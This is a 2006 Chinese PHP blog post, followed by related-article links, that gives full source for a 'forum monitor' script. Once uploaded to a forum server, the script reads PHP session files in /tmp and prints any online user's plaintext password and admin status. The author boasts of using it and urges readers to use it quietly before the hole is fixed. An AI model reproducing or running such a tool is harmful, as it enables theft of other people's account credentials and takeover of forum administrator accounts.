一个查看session内容的函数


Posted in PHP onOctober 09, 2006

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
php&amp;java(二)
Oct 09 PHP
PHP clearstatcache()函数详解
Mar 02 PHP
php生成数组的使用示例 php全组合算法
Jan 16 PHP
Linux环境下php实现给网站截图的方法
May 03 PHP
PHP分页初探 一个最简单的PHP分页代码的简单实现
Jun 21 PHP
thinkPHP5.0框架URL访问方法详解
Mar 18 PHP
php实现评论回复删除功能
May 23 PHP
PHP数据库操作二:memcache用法分析
Aug 16 PHP
thinkphp5.1 文件引入路径问题及注意事项
Jun 13 PHP
PHP join()函数用法与实例讲解
Mar 11 PHP
ThinkPHP5.1+Ajax实现的无刷新分页功能示例
Feb 10 PHP
一个显示天气预报的程序
Oct 09 #PHP
web方式ftp
Oct 09 #PHP
php中文本数据翻页(留言本翻页)
Oct 09 #PHP
自己动手做一个SQL解释器
Oct 09 #PHP
GD输出汉字的函数的分析
Oct 09 #PHP
类的另类用法--数据的封装
Oct 09 #PHP
最小化数据传输――在客户端存储数据
Oct 09 #PHP
You might like
PHP性能优化 产生高度优化代码
2011/07/22 PHP
php操作(删除,提取,增加)zip文件方法详解
2015/03/12 PHP
php实现用于删除整个目录的递归函数
2015/03/16 PHP
js change,propertychange,input事件小议
2011/12/20 Javascript
jQuery页面图片伴随滚动条逐渐显示的小例子
2013/03/21 Javascript
jQuery实现页面滚动时层智能浮动定位实例探讨
2013/03/29 Javascript
html组件不可输入(只读)同时任何组件都有效
2013/04/01 Javascript
jquery验证手机号码、邮箱格式是否正确示例代码
2013/07/28 Javascript
js获取电脑分辨率的思路及操作
2013/11/22 Javascript
Javascript设置对象的ReadOnly属性(示例代码)
2013/12/25 Javascript
eclipse导入jquery包后报错的解决方法
2014/02/17 Javascript
jQuery截取指定长度字符串代码
2014/08/21 Javascript
Javascript学习笔记之数组的遍历和 length 属性
2014/11/23 Javascript
javascript中定义类的方法汇总
2014/12/28 Javascript
Js与Jq 获取页面元素值的方法和差异对比
2015/04/30 Javascript
Bootstrap每天必学之滚动监听
2016/03/16 Javascript
深入浅析Extjs中store分组功能的使用方法
2016/04/20 Javascript
Angular 理解module和injector,即依赖注入
2016/09/07 Javascript
浅谈JS读取DOM对象(标签)的自定义属性
2016/11/21 Javascript
JS限制条件补全问题实例分析
2016/12/16 Javascript
JavaScript设计模式之代理模式详解
2017/06/09 Javascript
关于前后端json数据的发送与接收详解
2017/07/30 Javascript
详解Angular-ui-BootStrap组件的解释以及使用
2018/07/13 Javascript
详解Vue中的scoped及穿透方法
2019/04/18 Javascript
Vue-cli打包后如何本地查看的操作
2020/09/02 Javascript
Python如何为图片添加水印
2016/11/25 Python
python设置值及NaN值处理方法
2018/07/03 Python
Python3多线程版TCP端口扫描器
2019/08/31 Python
python base64库给用户名或密码加密的流程
2020/01/02 Python
凯普林包包西班牙官网:Kipling西班牙
2019/04/12 全球购物
幼儿园教师辞职信
2014/01/18 职场文书
供货协议书范本
2014/04/22 职场文书
8和9的加减法教学反思
2014/05/01 职场文书
幼儿园辞职信
2015/05/13 职场文书
竞聘开场白方式有哪些?
2019/08/28 职场文书
Python中的套接字编程是什么?
2021/06/21 Python